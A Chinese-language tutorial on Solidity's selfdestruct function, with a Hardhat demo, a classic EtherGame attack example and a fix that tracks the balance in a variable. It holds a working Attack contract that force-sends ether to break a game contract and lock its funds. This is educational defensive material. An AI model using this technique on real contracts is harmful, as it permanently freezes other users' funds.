合约安全: selfdestruct自毁函数
1.selfdestruct功能介绍
selfdestruct
函数,功能是销毁当前合约,而且可以输入一个参数,这个参数是payable address
类型,自毁之后该合约的余额可以被全部传入参数地址中。参数地址无论是普通账户地址还是合约账户地址,都可以被动接受来自自毁合约的余额。我们写个例子。
用hardhat写Test合约:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
// Uncomment this line to use console.log
import "hardhat/console.sol";
contract Test {
constructor() payable {
console.log("msg.sender: ", msg.sender);
console.log("msg.value: ", msg.value);
}
function kill() external {
selfdestruct(payable(0x8626f6940E2eb28930eFb4CeF49B2d1F2C9C1199));
}
}
大概意思就是外部执行kill
函数,然后就执行自毁函数selfdestruct
,输入的参数地址是最后接收Test合约中所有资产的账户。
contructor
函数是payable的,我们可以在部署的时候就传入以太坊资产,console.log
是hardhat专用。
然后部署,部署日志中可以看到上面的两个console.log
信息:
我们写个task来测试:
task("test-transaction", "This task is broken")
.setAction(async () => {
const contractAddress = "0x5FC8d32690cc91D4c39d9d3abcBD16989F875707";
const test = await ethers.getContractAt('Test', contractAddress);
const receiver = await ethers.getSigner("0x8626f6940E2eb28930eFb4CeF49B2d1F2C9C1199");
console.log("Before, balance of receiver = ", ethers.utils.formatEther(await ethers.provider.getBalance(receiver.address)));
console.log("Before, balance of contract = ", ethers.utils.formatEther(await ethers.provider.getBalance(contractAddress)));
const tx = await test.kill();
await tx.wait();
console.log("After, balance of receiver = ", ethers.utils.formatEther(await ethers.provider.getBalance(receiver.address)));
console.log("After, balance of contract = ", ethers.utils.formatEther(await ethers.provider.getBalance(contractAddress)));
});
输出:
Before, balance of receiver = 10001.0
Before, balance of contract = 1.0
After, balance of receiver = 10002.0
After, balance of contract = 0.0
可以看到自毁函数执行后,合约中的资产被清空了,而我们接受者receiver拿到了之前合约的资产。
这个selfdestruct
函数的参数不仅仅可以是普通用户的地址,也可以是合约地址,而且,不管你的接受者合约有没有receive()
、fallback()
,资产都可以被转过去,举个例子:
contract Receiver {
}
比如上面这个空白合约,也可以接受selfdestrut
函数传来的资产。这是唯一的一个后门,这个后门也可以造成合约被攻击,看看下面一个案例。
2.攻击案例
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
// You can simply break the game by sending ether so that
// the game balance >= 7 ether
// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
这个被攻击的EtherGame
的合约,逻辑比较简单,就是每个用户都可以调用deposit
函数,一次有且仅能存入1个Ether,当用户存入1Ether导致合约余额超过targetAmount
后,该用户就是winner
,此时deposit功能被锁定。
攻击者Attack
合约,首先用户可以给Attack
合约存入一些Ether,然后执行selfdestruct
,自毁函数的参数填EtherGame
合约的地址,这样EtherGame
合约的余额就增多了,而一旦余额超出了它的targetAmount
,这样deposit
就被锁定了,而且也没有winner
,也不能claimReward
,这个合约就直接废了。
在这个案例中,攻击者消耗了自己的以太,使得被攻击者的合约失效,被攻击的合约中的以太也永远没有办法取出来。总之,这对双方都没有好处。
3.拯救措施
在EtherGame
中,我们要避免使用合约自身的余额属性address(this).balance
,可以用一个变量balance
存起来,每次逻辑操作都经过balance
验证,这样就不会被自毁函数所破坏。
修改后的合约如下图所示:
contract EtherGame {
uint public targetAmount = 3 ether;
uint public balance;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
balance += msg.value;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed to send Ether");
}
}